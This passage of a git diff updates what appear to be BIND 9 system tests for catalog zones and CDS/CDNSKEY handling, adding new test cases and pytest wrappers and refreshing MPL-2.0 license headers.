+wait_for_message ns2/named.run "transfer of 'dom18.example/IN/default' from 10.53.0.1#${EXTRAPORT1}: Transfer status: success" || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+# The "primaries" custom property for dom17.example. was added using a supported
+# syntax into a version 1 catalog1 zone, so we expect that it was processed,
+# will override the default setting, and dom17.example. was transferred
+# from the ns3 primary.
 n=$((n+1))
-echo_i "checking that dom14.example. is served by secondary and that it's still the one from ns1 ($n)"
+echo_i "checking that dom17.example. is served by secondary and that it's the one from ns3 ($n)"
 ret=0
-wait_for_a @10.53.0.2 dom14.example. dig.out.test$n || ret=1
+wait_for_a @10.53.0.2 dom17.example. dig.out.test$n || ret=1
+grep "192.0.2.2" dig.out.test$n > /dev/null || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+# The "primaries" custom property for dom18.example. was added using the new
+# syntax into a version 1 catalog1 zone, so we expect that it was ignored, no
+# override of the default setting happened, and dom18.example. was transferred
+# from the ns1 primary (the default).
+n=$((n+1))
+echo_i "checking that dom18.example. is served by secondary and that it's the one from ns1 ($n)"
+ret=0
+wait_for_a @10.53.0.2 dom18.example. dig.out.test$n || ret=1
 grep "192.0.2.1" dig.out.test$n > /dev/null || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
@@ -1410,12 +2505,14 @@ status=$((status+ret))
 nextpart ns2/named.run >/dev/null
 
 n=$((n+1))
-echo_i "Deleting domain dom14.example. from catalog2 ($n)"
+echo_i "deleting domain dom17.example. and dom18.example. from catalog2 ($n)"
 ret=0
 $NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
     server 10.53.0.3 ${PORT}
-    update delete 45e3d45ea5f7bd01c395ccbde6ae2e750a3ee8ab.zones.catalog2.example. 3600 IN PTR dom14.example.
-    update delete masters.45e3d45ea5f7bd01c395ccbde6ae2e750a3ee8ab.zones.catalog2.example. 3600 IN A 10.53.0.3
+    update delete dom17.zones.catalog2.example. 3600 IN PTR dom17.example.
+    update delete dom18.zones.catalog2.example. 3600 IN PTR dom18.example.
+    update delete primaries.dom17.zones.catalog2.example. 3600 IN A 10.53.0.3
+    update delete primaries.ext.dom18.zones.catalog2.example. 3600 IN A 10.53.0.3
     send
 END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
@@ -1424,50 +2521,62 @@ status=$((status+ret))
 n=$((n+1))
 echo_i "waiting for secondary to sync up ($n)"
 ret=0
-wait_for_message ns2/named.run  "catz: update_from_db: new zone merged" || ret=1
+wait_for_message ns2/named.run  "catz: catz_delzone_cb: zone 'dom17.example' deleted" &&
+wait_for_message ns2/named.run  "catz: catz_delzone_cb: zone 'dom18.example' deleted" || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that dom14.example. is served by secondary and that it's still the one from ns1 ($n)"
+echo_i "checking that dom17.example. is not served by secondary ($n)"
 ret=0
-wait_for_a @10.53.0.2 dom14.example. dig.out.test$n || ret=1
-grep "192.0.2.1" dig.out.test$n > /dev/null || ret=1
+wait_for_no_soa @10.53.0.2 dom17.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
-##########################################################################
-echo_i "Testing changing label for a member zone"
 n=$((n+1))
-echo_i "checking that dom15.example. is not served by primary ($n)"
+echo_i "checking that dom18.example. is not served by secondary ($n)"
 ret=0
-wait_for_no_soa @10.53.0.1 dom15.example. dig.out.test$n || ret=1
+wait_for_no_soa @10.53.0.2 dom18.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+##########################################################################
 n=$((n+1))
-echo_i "Adding a domain dom15.example. to primary ns1 via RNDC ($n)"
+echo_i "checking that reconfig can delete and restore catalog zone configuration ($n)"
 ret=0
-echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/dom15.example.db
-echo "@ IN NS invalid." >> ns1/dom15.example.db
-rndccmd 10.53.0.1 addzone dom15.example. '{type primary; file "dom15.example.db";};' || ret=1
+copy_setports ns2/named2.conf.in ns2/named.conf
+rndccmd 10.53.0.2 reconfig || ret=1
+copy_setports ns2/named1.conf.in ns2/named.conf
+rndccmd 10.53.0.2 reconfig || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+#########################################################################
+
+nextpart ns2/named.run >/dev/null
+
 n=$((n+1))
-echo_i "checking that dom15.example. is now served by primary ns1 ($n)"
+echo_i "Adding a dom19.example. to primary via RNDC ($n)"
 ret=0
-wait_for_soa @10.53.0.1 dom15.example. dig.out.test$n || ret=1
+# enough initial content for IXFR response when TXT record is added below
+echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/dom19.example.db
+echo "@ 3600 IN NS invalid." >> ns1/dom19.example.db
+echo "foo 3600 IN TXT some content here" >> ns1/dom19.example.db
+echo "bar 3600 IN TXT some content here" >> ns1/dom19.example.db
+echo "xxx 3600 IN TXT some content here" >> ns1/dom19.example.db
+echo "yyy 3600 IN TXT some content here" >> ns1/dom19.example.db
+rndccmd 10.53.0.1 addzone dom19.example. in default '{ type primary; file "dom19.example.db"; allow-transfer { key tsig_key; }; allow-update { any; }; notify explicit; also-notify { 10.53.0.2; }; };' || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
-nextpart ns2/named.run >/dev/null
-
-echo_i "Adding domain dom15.example. to catalog1 zone with 'dom15label1' label ($n)"
+n=$((n+1))
+echo_i "add an entry to the restored catalog zone ($n)"
 ret=0
 $NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
     server 10.53.0.1 ${PORT}
-    update add dom15label1.zones.catalog1.example. 3600 IN PTR dom15.example.
+    update add 09da0a318e5333a9a7f6c14c385d69f6933e8b72.zones.catalog1.example. 3600 IN PTR dom19.example.
+    update add label1.primaries.ext.09da0a318e5333a9a7f6c14c385d69f6933e8b72.zones.catalog1.example. 3600 IN A 10.53.0.1
+    update add label1.primaries.ext.09da0a318e5333a9a7f6c14c385d69f6933e8b72.zones.catalog1.example. 3600 IN TXT "tsig_key"
     send
 END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
@@ -1476,28 +2585,41 @@ status=$((status+ret))
 n=$((n+1))
 echo_i "waiting for secondary to sync up ($n)"
 ret=0
-wait_for_message ns2/named.run  "catz: update_from_db: new zone merged" || ret=1
+wait_for_message ns2/named.run "catz: adding zone 'dom19.example' from catalog 'catalog1.example'" &&
+wait_for_message ns2/named.run "transfer of 'dom19.example/IN/default' from 10.53.0.1#${PORT}: Transfer status: success" || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
-sleep 3
+##########################################################################
+n=$((n+1))
+echo_i "Adding a domain tls1.example. to primary via RNDC ($n)"
+ret=0
+# enough initial content for IXFR response when TXT record is added below
+echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/tls1.example.db
+echo "@ 3600 IN NS invalid." >> ns1/tls1.example.db
+echo "foo 3600 IN TXT some content here" >> ns1/tls1.example.db
+echo "bar 3600 IN TXT some content here" >> ns1/tls1.example.db
+echo "xxx 3600 IN TXT some content here" >> ns1/tls1.example.db
+echo "yyy 3600 IN TXT some content here" >> ns1/tls1.example.db
+rndccmd 10.53.0.1 addzone tls1.example. in default '{ type primary; file "tls1.example.db"; allow-transfer transport tls { key tsig_key; }; allow-update { any; }; notify explicit; also-notify { 10.53.0.4; }; };' || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that dom15.example. is served by secondary ($n)"
+echo_i "checking that tls1.example. is now served by primary ($n)"
 ret=0
-wait_for_soa @10.53.0.2 dom15.example. dig.out.test$n || ret=1
+wait_for_soa @10.53.0.1 tls1.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
-nextpart ns2/named.run >/dev/null
+nextpart ns4/named.run >/dev/null
 
 n=$((n+1))
-echo_i "Changing label of domain dom15.example. from 'dom15label1' to 'dom15label2' ($n)"
+echo_i "Adding domain tls1.example. to catalog-tls zone ($n)"
 ret=0
 $NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
     server 10.53.0.1 ${PORT}
-    update delete dom15label1.zones.catalog1.example. 3600 IN PTR dom15.example.
-    update add dom15label2.zones.catalog1.example. 3600 IN PTR dom15.example.
+    update add 1ba056ba375209a66a2c9a0617b1df714b998112.zones.catalog-tls.example. 3600 IN PTR tls1.example.
     send
 END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
@@ -1506,16 +2628,35 @@ status=$((status+ret))
 n=$((n+1))
 echo_i "waiting for secondary to sync up ($n)"
 ret=0
-wait_for_message ns2/named.run  "catz: update_from_db: new zone merged" || ret=1
+wait_for_message ns4/named.run "catz: adding zone 'tls1.example' from catalog 'catalog-tls.example'" &&
+wait_for_message ns4/named.run "transfer of 'tls1.example/IN' from 10.53.0.1#${TLSPORT}: Transfer status: success" || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that dom15.example. is served by secondary ($n)"
+echo_i "checking that tls1.example. is served by secondary ($n)"
 ret=0
-wait_for_soa @10.53.0.2 dom15.example. dig.out.test$n || ret=1
+wait_for_soa @10.53.0.4 tls1.example. dig.out.test$n || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+##########################################################################
+# GL #3777
+nextpart ns4/named.run >/dev/null
+
+n=$((n+1))
+echo_i "Adding domain self.example. to catalog-self zone without updating the serial ($n)"
+ret=0
+echo "self.zones.catalog-self.example. 3600 IN PTR self.example." >> ns4/catalog-self.example.db
+rndccmd 10.53.0.4 reload || ret=1
+
+n=$((n+1))
+echo_i "Issuing another rndc reload command after 1 second ($n)"
+sleep 1
+rndccmd 10.53.0.4 reload || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+##########################################################################
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/catz/tests_sh_catz.py b/bin/tests/system/catz/tests_sh_catz.py
new file mode 100644
index 0000000000..eae546fe45
--- /dev/null
+++ b/bin/tests/system/catz/tests_sh_catz.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_catz(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/cds/checkmtime.pl b/bin/tests/system/cds/checkmtime.pl
index d3f4ec37b1..be5358408f 100644
--- a/bin/tests/system/cds/checkmtime.pl
+++ b/bin/tests/system/cds/checkmtime.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/cds/checktime.pl b/bin/tests/system/cds/checktime.pl
index 692b840adc..d85fd9125c 100644
--- a/bin/tests/system/cds/checktime.pl
+++ b/bin/tests/system/cds/checktime.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -22,4 +24,4 @@
 die "missing notbefore time" unless $notbefore;
 die "missing inception time" unless $inception;
 my $delta = $inception - $notbefore;
-die "bad inception time $delta" unless abs($delta - $target) < 3;
+die "bad inception time $delta" unless abs($delta - $target) <= 10;
diff --git a/bin/tests/system/cds/clean.sh b/bin/tests/system/cds/clean.sh
index 51cfc26901..b9743a560d 100644
--- a/bin/tests/system/cds/clean.sh
+++ b/bin/tests/system/cds/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/cds/mangle.pl b/bin/tests/system/cds/mangle.pl
index ec987010a7..9268cc0d0a 100644
--- a/bin/tests/system/cds/mangle.pl
+++ b/bin/tests/system/cds/mangle.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/cds/setup.sh b/bin/tests/system/cds/setup.sh
index 4d528eac12..6de5de5acb 100644
--- a/bin/tests/system/cds/setup.sh
+++ b/bin/tests/system/cds/setup.sh
@@ -1,25 +1,29 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
-set -eu
+set -e
 
 . ../conf.sh
 
+set -u
+
 touch empty
 
 Z=cds.test
 
-keyz=`$KEYGEN -q -a RSASHA256 $Z`
-key1=`$KEYGEN -q -a RSASHA256 -f KSK $Z`
-key2=`$KEYGEN -q -a RSASHA256 -f KSK $Z`
+keyz=$($KEYGEN -q -a $DEFAULT_ALGORITHM $Z)
+key1=$($KEYGEN -q -a $DEFAULT_ALGORITHM -f KSK $Z)
+key2=$($KEYGEN -q -a $DEFAULT_ALGORITHM -f KSK $Z)
 
 idz=$(keyfile_to_key_id $keyz)
 id1=$(keyfile_to_key_id $key1)
@@ -35,16 +39,18 @@ id2=$id2
 EOF
 
 tac() {
-	$PERL -e 'print reverse <>' "$@"
+	$PERL -e 'print reverse <>'
 }
 
 convert() {
 	key=$1
 	n=$2
 	$DSFROMKEY -12 $key >DS.$n
-	grep ' 8 1 ' DS.$n >DS.$n-1
-	grep ' 8 2 ' DS.$n >DS.$n-2
+	grep " ${DEFAULT_ALGORITHM_NUMBER} 1 " DS.$n >DS.$n-1
+	grep " ${DEFAULT_ALGORITHM_NUMBER} 2 " DS.$n >DS.$n-2
 	sed 's/ IN DS / IN CDS /' <DS.$n >>CDS.$n
+	sed 's/ IN DS / IN CDS /' <DS.$n-1 >>CDS.$n-1
+	sed 's/ IN DS / IN CDS /' <DS.$n-2 >>CDS.$n-2
 	sed 's/ IN DNSKEY / IN CDNSKEY /' <$key.key >CDNSKEY.$n
 	sed 's/ IN DS / 3600 IN DS /' <DS.$n >DS.ttl$n
 	sed 's/ IN DS / 7200 IN DS /' <DS.$n >DS.ttlong$n
@@ -61,9 +67,9 @@ $PERL -we 'utime time, time - 7200, "DS.inplace" or die'
 
 mangle="$PERL mangle.pl"
 
-$mangle " IN DS $id1 8 1 " <DS.1 >DS.broke1
-$mangle " IN DS $id1 8 2 " <DS.1 >DS.broke2
-$mangle " IN DS $id1 8 [12] " <DS.1 >DS.broke12
+$mangle " IN DS $id1 ${DEFAULT_ALGORITHM_NUMBER} 1 " <DS.1 >DS.broke1
+$mangle " IN DS $id1 ${DEFAULT_ALGORITHM_NUMBER} 2 " <DS.1 >DS.broke2
+$mangle " IN DS $id1 ${DEFAULT_ALGORITHM_NUMBER} [12] " <DS.1 >DS.broke12
 
 sed 's/^/update add /
 $a\
@@ -109,20 +115,24 @@ tac <sig.cds.1 >sig.cds.rev1
 
 cat db.null CDNSKEY.2 | sign cdnskey.2
 cat db.null CDS.2 CDNSKEY.2 | sign cds.cdnskey.2
+cat db.null CDS.1 CDNSKEY.2 | sign cds1.cdnskey2
+
+cat db.null CDS.2-1 | sign cds.2.sha1
+cat db.null CDS.2-1 CDNSKEY.2 | sign cds.cdnskey.2.sha1
 
 $mangle '\s+IN\s+RRSIG\s+CDS .* '$idz' '$Z'\. ' \
 	<sig.cds.1 >brk.rrsig.cds.zsk
 $mangle '\s+IN\s+RRSIG\s+CDS .* '$id1' '$Z'\. ' \
 	<sig.cds.1 >brk.rrsig.cds.ksk
 
-$mangle " IN CDS $id1 8 1 " <db.cds.1 |
+$mangle " IN CDS $id1 ${DEFAULT_ALGORITHM_NUMBER} 1 " <db.cds.1 |
 sign cds-mangled
 
-bad=`$PERL -le "print ($id1 ^ 255);"`
-sed 's/IN CDS '$id1' 8 1 /IN CDS '$bad' 8 1 /' <db.cds.1 |
+bad=$($PERL -le "print ($id1 ^ 255);")
+sed "s/IN CDS $id1 ${DEFAULT_ALGORITHM_NUMBER} 1 /IN CDS $bad ${DEFAULT_ALGORITHM_NUMBER} 1 /" <db.cds.1 |
 sign bad-digests
 
-sed '/IN CDS '$id1' 8 /p;s//IN CDS '$bad' 13 /' <db.cds.1 |
+sed "/IN CDS $id1 ${DEFAULT_ALGORITHM_NUMBER} /p;s//IN CDS $bad $ALTERNATIVE_ALGORITHM_NUMBER /" <db.cds.1 |
 sign bad-algos
 
 rm -f dsset-*
diff --git a/bin/tests/system/cds/tests.sh b/bin/tests/system/cds/tests.sh
index 8344798561..2eb092f4b4 100644
--- a/bin/tests/system/cds/tests.sh
+++ b/bin/tests/system/cds/tests.sh
@@ -1,34 +1,37 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 status=0
 n=0
 fail() {
 	echo_i "failed"
-	status=`expr $status + 1`
+	status=$((status + 1))
 }
 
 runcmd() {
-        "$@" 1> out.$n 2> err.$n
-	echo $?
+        ("$@" 1> out.$n 2> err.$n; echo $?) || true
 }
 
 testcase() {
-	n=`expr $n + 1`
+	n=$((n + 1))
 	echo_i "$name ($n)"
 	expect=$1
 	shift
-	result=`runcmd "$@"`
+	result=$(runcmd "$@")
 	check_stdout
 	check_stderr
 	if [ "$expect" -ne "$result" ]; then
@@ -40,17 +43,17 @@ testcase() {
 
 check_stderr() {
 	if [ -n "${err:=}" ]; then
-		egrep "$err" err.$n >/dev/null && return 0
+		grep -E "$err" err.$n >/dev/null && return 0
+		echo_d "stderr did not match '$err'"
 	else
 		[ -s err.$n ] || return 0
 	fi
-	echo_d "stderr did not match '$err'"
 	cat err.$n | cat_d
 	fail
 }
 
 check_stdout() {
-	$DIFF out.$n "${out:-empty}" >/dev/null && return
+	diff out.$n "${out:-empty}" >/dev/null && return
 	echo_d "stdout did not match '$out'"
 	(	echo "wanted"
 		cat "$out"
@@ -117,7 +120,7 @@ $CDS -v3 -s -7200 -f sig.cds.1 -d DS.1 $Z 1>xout 2>xerr
 testcase 0 $PERL checktime.pl 3600 xerr
 
 name='in-place reads modification time'
-testcase 0 $CDS -f sig.cds.1 -i.bak -d DS.inplace $Z
+testcase 0 $CDS -a1 -a2 -f sig.cds.1 -i.bak -d DS.inplace $Z
 
 name='in-place output correct modification time'
 testcase 0 $PERL checkmtime.pl 3600 DS.inplace
@@ -126,29 +129,29 @@ name='in-place backup correct modification time'
 testcase 0 $PERL checkmtime.pl 7200 DS.inplace.bak
 
 name='in-place correct output'
-testcase 0 $DIFF DS.1 DS.inplace
+testcase 0 diff DS.1 DS.inplace
 
 name='in-place backup unmodified'
-testcase 0 $DIFF DS.1 DS.inplace.bak
+testcase 0 diff DS.1 DS.inplace.bak
 
 name='one mangled DS'
 err='found RRSIG by key'
 out=DS.1
-testcase 0 $CDS -v1 -s -7200 -f sig.cds.1 -d DS.broke1 $Z
+testcase 0 $CDS -v1 -a1 -a2 -s -7200 -f sig.cds.1 -d DS.broke1 $Z
 
 name='other mangled DS'
 err='found RRSIG by key'
 out=DS.1
-testcase 0 $CDS -v1 -s -7200 -f sig.cds.1 -d DS.broke2 $Z
+testcase 0 $CDS -v1 -a1 -a2 -s -7200 -f sig.cds.1 -d DS.broke2 $Z
 
 name='both mangled DS'
 err='could not validate child DNSKEY RRset'
-testcase 1 $CDS -v1 -s -7200 -f sig.cds.1 -d DS.broke12 $Z
+testcase 1 $CDS -v1 -a1 -a2 -s -7200 -f sig.cds.1 -d DS.broke12 $Z
 
 name='mangle RRSIG CDS by ZSK'
 err='found RRSIG by key'
 out=DS.1
-testcase 0 $CDS -v1 -s -7200 -f brk.rrsig.cds.zsk -d DS.1 $Z
+testcase 0 $CDS -v1 -a1 -a2 -s -7200 -f brk.rrsig.cds.zsk -d DS.1 $Z
 
 name='mangle RRSIG CDS by KSK'
 err='could not validate child CDS RRset'
@@ -156,11 +159,11 @@ testcase 1 $CDS -v1 -s -7200 -f brk.rrsig.cds.ksk -d DS.1 $Z
 
 name='mangle CDS 1'
 err='could not validate child DNSKEY RRset with new DS records'
-testcase 1 $CDS -s -7200 -f sig.cds-mangled -d DS.1 $Z
+testcase 1 $CDS -a1 -a2 -s -7200 -f sig.cds-mangled -d DS.1 $Z
 
 name='inconsistent digests'
 err='do not cover each key with the same set of digest types'
-testcase 1 $CDS -s -7200 -f sig.bad-digests -d DS.1 $Z
+testcase 1 $CDS -a1 -a2 -s -7200 -f sig.bad-digests -d DS.1 $Z
 
 name='inconsistent algorithms'
 err='missing signature for algorithm'
@@ -168,49 +171,49 @@ testcase 1 $CDS -s -7200 -f sig.bad-algos -d DS.1 $Z
 
 name='add DS records'
 out=DS.both
-$CDS -s -7200 -f sig.cds.both -d DS.1 $Z >DS.out
+$CDS -a1 -a2 -s -7200 -f sig.cds.both -d DS.1 $Z >DS.out
 # sort to allow for numerical vs lexical order of key tags
 testcase 0 sort DS.out
 
 name='update add'
 out=UP.add2
-testcase 0 $CDS -u -s -7200 -f sig.cds.both -d DS.1 $Z
+testcase 0 $CDS -a1 -a2 -u -s -7200 -f sig.cds.both -d DS.1 $Z
 
 name='remove DS records'
 out=DS.2
-testcase 0 $CDS -s -7200 -f sig.cds.2 -d DS.both $Z
+testcase 0 $CDS -a1 -a2 -s -7200 -f sig.cds.2 -d DS.both $Z
 
 name='update del'
 out=UP.del1
-testcase 0 $CDS -u -s -7200 -f sig.cds.2 -d DS.both $Z
+testcase 0 $CDS -a1 -a2 -u -s -7200 -f sig.cds.2 -d DS.both $Z
 
 name='swap DS records'
 out=DS.2
-testcase 0 $CDS -s -7200 -f sig.cds.2 -d DS.1 $Z
+testcase 0 $CDS -a1 -a2 -s -7200 -f sig.cds.2 -d DS.1 $Z
 
 name='update swap'
 out=UP.swap
-testcase 0 $CDS -u -s -7200 -f sig.cds.2 -d DS.1 $Z
+testcase 0 $CDS -a1 -a2 -u -s -7200 -f sig.cds.2 -d DS.1 $Z
 
 name='TTL from -T'
 out=DS.ttl2
-testcase 0 $CDS -T 3600 -s -7200 -f sig.cds.2 -d DS.1 $Z
+testcase 0 $CDS -a1 -a2 -T 3600 -s -7200 -f sig.cds.2 -d DS.1 $Z
 
 name='update TTL from -T'
 out=UP.swapttl
-testcase 0 $CDS -u -T 3600 -s -7200 -f sig.cds.2 -d DS.1 $Z
+testcase 0 $CDS -a1 -a2 -u -T 3600 -s -7200 -f sig.cds.2 -d DS.1 $Z
 
 name='update TTL from dsset'
 out=UP.swapttl
-testcase 0 $CDS -u -s -7200 -f sig.cds.2 -d DS.ttl1 $Z
+testcase 0 $CDS -a1 -a2 -u -s -7200 -f sig.cds.2 -d DS.ttl1 $Z
 
 name='TTL from -T overrides dsset'
 out=DS.ttlong2
-testcase 0 $CDS -T 7200 -s -7200 -f sig.cds.2 -d DS.ttl1 $Z
+testcase 0 $CDS -a1 -a2 -T 7200 -s -7200 -f sig.cds.2 -d DS.ttl1 $Z
 
 name='stable DS record order (changes)'
 out=DS.1
-testcase 0 $CDS -s -7200 -f sig.cds.rev1 -d DS.2 $Z
+testcase 0 $CDS -a1 -a2 -s -7200 -f sig.cds.rev1 -d DS.2 $Z
 
 name='CDNSKEY default algorithm'
 out=DS.2-2
@@ -230,11 +233,28 @@ testcase 0 $CDS -a SHA256 -a SHA1 -s -7200 -f sig.cdnskey.2 -d DS.1 $Z
 
 name='CDNSKEY and CDS'
 out=DS.2
-testcase 0 $CDS -s -7200 -f sig.cds.cdnskey.2 -d DS.1 $Z
+testcase 0 $CDS -a1 -a2 -s -7200 -f sig.cds.cdnskey.2 -d DS.1 $Z
 
 name='prefer CDNSKEY'
 out=DS.2-2
-testcase 0 $CDS -D -s -7200 -f sig.cds.cdnskey.2 -d DS.1 $Z
+testcase 0 $CDS -D -s -7200 -f sig.cds1.cdnskey2 -d DS.1 $Z
+
+name='CDS subset default (SHA-256)'
+out=DS.2-2
+testcase 0 $CDS -s -7200 -f sig.cds.2 -d DS.1 $Z
+
+name='CDS subset replace SHA1 with SHA2'
+out=DS.2-2
+testcase 0 $CDS -s -7200 -f sig.cds.cdnskey.2.sha1 -d DS.1 $Z
+
+name='CDS subset mismatch'
+err='do not match any -a digest types'
+testcase 1 $CDS -s -7200 -f sig.cds.2.sha1 -d DS.1 $Z
+
+name='CDS algorithm unavailable, use CDNSKEY'
+err='using CDNSKEY instead'
+out=DS.2-2
+testcase 0 $CDS -v1 -a SHA256 -s -7200 -f sig.cds.cdnskey.2.sha1 -d DS.1 $Z
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/cds/tests_sh_cds.py b/bin/tests/system/cds/tests_sh_cds.py
new file mode 100644
index 0000000000..d00a8ae51c
--- /dev/null
+++ b/bin/tests/system/cds/tests_sh_cds.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_cds(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/chain/README b/bin/tests/system/chain/README
index 26e2d37e44..649142e913 100644
--- a/bin/tests/system/chain/README
+++ b/bin/tests/system/chain/README
@@ -1,6 +1,13 @@
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
 
 ns1 is the root server.
 
diff --git a/bin/tests/system/chain/ans3/ans.pl b/bin/tests/system/chain/ans3/ans.pl
index 31d22d807b..271b2a44b2 100644
--- a/bin/tests/system/chain/ans3/ans.pl
+++ b/bin/tests/system/chain/ans3/ans.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/env perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/chain/ans4/README.anspy b/bin/tests/system/chain/ans4/README.anspy
index 6ca2b68930..7cb0bf09e2 100644
--- a/bin/tests/system/chain/ans4/README.anspy
+++ b/bin/tests/system/chain/ans4/README.anspy
@@ -1,6 +1,13 @@
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
 
 REQUIREMENTS
